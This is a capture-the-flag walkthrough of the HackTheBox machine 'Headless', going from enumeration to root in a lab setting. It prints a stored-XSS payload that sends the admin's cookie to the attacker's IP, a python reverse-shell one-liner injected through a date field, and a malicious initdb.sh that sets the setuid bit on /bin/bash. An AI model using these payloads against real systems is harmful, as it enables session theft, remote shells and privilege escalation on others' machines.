HACKTHEBOX - HEADLESS
Link: https://app.hackthebox.eu/machines/Headless
Enumeration
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Thu, 28 Mar 2024 22:16:09 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
We notice a website on port 5000:
We can also access a contact form:
User
XSS
If we try to pass an XSS through the message, it doesn't work and we are "detected":
However, if we try to pass an XSS through the user agent (especially since it is displayed), we can perform an XSS:
The XSS is probably stored in the reports, and will be viewed by the admin.
Now, we need to try to retrieve the admin's cookie. To do this, here's what we'll do:
For this, our payload for the XSS will be the following :
<script>window.location='http://10.10.16.96/script.php?cookies='+(document.cookie);</script>
On our side, we start a web server to retrieve the cookie:
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [28/Mar/2024 23:54:14] "GET /script.php?cookies=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -
10.10.11.8 - - [28/Mar/2024 23:54:15] code 404, message File not found
10.10.11.8 - - [28/Mar/2024 23:54:15] "GET /favicon.ico HTTP/1.1" 404 -
We then have access to the dashboard with the stolen cookie:
Command injection
The date field is vulnerable to a command injection. Knowing that we have a "Werkzeug/2.2.2 Python/3.11.2", we can use a reverse shell via python:
Payload (see https://www.revshells.com/) :
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.96",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
And we have a reverse shell as dvir
!
Root
Initially, we can notice the presence of mail for the user dvir
(/var/mail/dvir) :
Hello!
We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.
What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.
Rest assured, this script is at your disposal and won't affect your regular use of the system.
If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.
By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless
We are told that we have special privileges to use a system check script. We also have an initdb.sh
qui est présent dans /usr/bin/
In sudoers :
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
We have a syscheck
script that is executable by dvir
as root without a password. Here is the content of the script:
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
Immediately, we can see the use of absolute paths throughout the script, EXCEPT for the line ./initdb.sh 2>/dev/null
We just need to create an initdb.sh
script in the current directory to get a root shell:
#!/bin/bash
chmod +s /bin/bash
echo "Pwned !"
Then we execute the syscheck
script :
dvir@headless:~/test$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.4G
System load average: 1.88, 2.09, 2.10
Database service is not running. Starting it...
Pwned !
Never use relative path for sudoers in scripts. Maybe never use it anyway tbf
# id
uid=0(root) gid=0(root) groups=0(root)